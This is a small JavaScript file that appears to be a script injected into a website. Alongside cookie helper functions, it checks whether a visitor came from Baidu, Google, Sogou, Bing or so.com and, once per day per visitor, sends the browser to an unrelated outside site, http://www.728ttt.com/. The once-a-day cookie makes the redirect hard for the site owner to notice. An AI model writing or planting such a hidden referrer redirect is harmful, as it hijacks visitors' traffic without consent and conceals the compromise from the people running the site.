// JavaScript Document
function setCookie(name,value)
{
	var Days = 1;
	var exp = new Date();
	exp.setTime(exp.getTime() + Days*24*60*60*1000);
	document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();
}
function getCookie(name)
{
	var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
	if(arr=document.cookie.match(reg))
	return unescape(arr[2]);
	else
	return null;
}
var ref=document.referrer;
console.log(ref);
var cookie=getCookie('hasjump'); 
console.log(cookie);
if(ref.indexOf("baidu.com")>0 || ref.indexOf("google.com")>0 || ref.indexOf("sogou.com")>0 || ref.indexOf("bing.cn")>0 || ref.indexOf("so.com")>0){
	
	if(cookie==1){
		console.log('True');
	}else{
		setCookie('hasjump', 1);
		self.location="http://www.728ttt.com/";
	}
	
	
	
	
}
